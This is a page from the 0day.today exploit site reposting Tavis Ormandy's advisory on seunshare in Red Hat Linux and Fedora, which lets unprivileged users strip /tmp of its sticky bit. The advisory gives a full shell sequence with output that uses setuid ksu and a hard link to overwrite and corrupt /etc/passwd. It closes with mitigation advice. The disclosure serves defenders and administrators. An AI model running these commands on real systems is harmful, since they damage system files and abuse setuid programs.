0day.today - Biggest Exploit Database in the World.
![](/img/logo_green.jpg)
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earnGOLD
Administration of this site uses the official contacts. Beware of impostors!
![We DO NOT use Telegram or any messengers / social networks!](/img/no_telegram_big.png)
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Red Hat Linux stickiness of /tmp
Developers should not rely on the stickiness of /tmp on Red Hat Linux --------------------------------------------------------------------- Recent versions of Red Hat Enterprise Linux and Fedora provide seunshare, a setuid root utility from policycore-utils intended to make new filesystem namespaces available to unprivileged processes for the purpose of sandboxing. The intention is to permit unprivileged users to mount a new temporary directory on /home and /tmp for sandboxed processes, thus preventing access to the contents of the original directories in the event of a compromise. One unintended side effect of making these features available to unprivileged processes is that users can now change how setuid applications perceive /tmp and /home. The purpose of this advisory is to inform developers and system administrators of affected systems that unprivileged users can effectively remove the sticky-bit from the system /tmp directory, and thus relying on the stickiness of /tmp on redhat systems is no longer safe. This advisory is intended for system administrators and developers of Red Hat Linux systems; journalists, end users and other non-technical readers do not need to be concerned. -------------------- Affected Software ------------------------ All known versions of policycore-utils are affected. I discussed the potentially dangerous implications of introducing this change with Red Hat Security in September 2010, but FC14 and RHEL6 still exhibit this behaviour post-launch. -------------------- Consequences ----------------------- A simple example of a common application that is now unsafe is ksu, from the krb5 distribution. ksu creates a temporary file in /tmp, then clears it on authentication failure. This is normally a safe operation, as /tmp is protected by the sticky bit. However, we can use seunshare to interfere with this process. # create a new directory that we control $ mkdir /tmp/seunshare # use seunshare to mount it on /tmp and /home and run our setuid root binary $ seunshare -v -t /tmp/seunshare/ -h /tmp/seunshare/ -- `which ksu` root &>/dev/null & [1]+ Stopped seunshare -v -t /tmp/seunshare/ -h /tmp/seunshare/ -- `which ksu` root # we can examine the mounts visible to the process using the /proc interface $ grep /tmp /proc/$(pidof ksu)/mountinfo 66 64 1:1 /tmp/seunshare /tmp # here is the temporary file created by ksu during authentication $ ls -l /tmp/seunshare/ total 4.0K -rw-------. 1 root taviso 35 Feb 18 23:21 krb5cc_0.1 # as we own the directory, and the sticky-bit is not set, we are permitted to # unlink files $ rm -f /tmp/seunshare/krb5cc_0.1 # now we can replace the file with a link $ ln /etc/passwd /tmp/seunshare/krb5cc_0.1 # make ksu authentication fail. $ fg seunshare -v -t /tmp/seunshare/ -h /tmp/seunshare/ -- `which ksu` root And /etc/passwd was damaged, thus breaking the system. ------------------- Credit ----------------------- This bug was discovered by Tavis Ormandy. ------------------- Greetz ----------------------- Thanks to Kees, Hawkes, Dan and Julien for their help. Greetz to everyone in $1$kk1q85Xp$Id.gAcJOg7uelf36VQwJQ/, and all my other elite friends and colleagues. ------------------- Notes ----------------------- Although only an example of damaging a system has been provided, it's reasonable to assume that various applications rely on the stickiness of /tmp to prevent code execution. Administrators are advised to remove the setuid bit from seunshare, or restrict access to it. # 0day.today [2024-07-01] #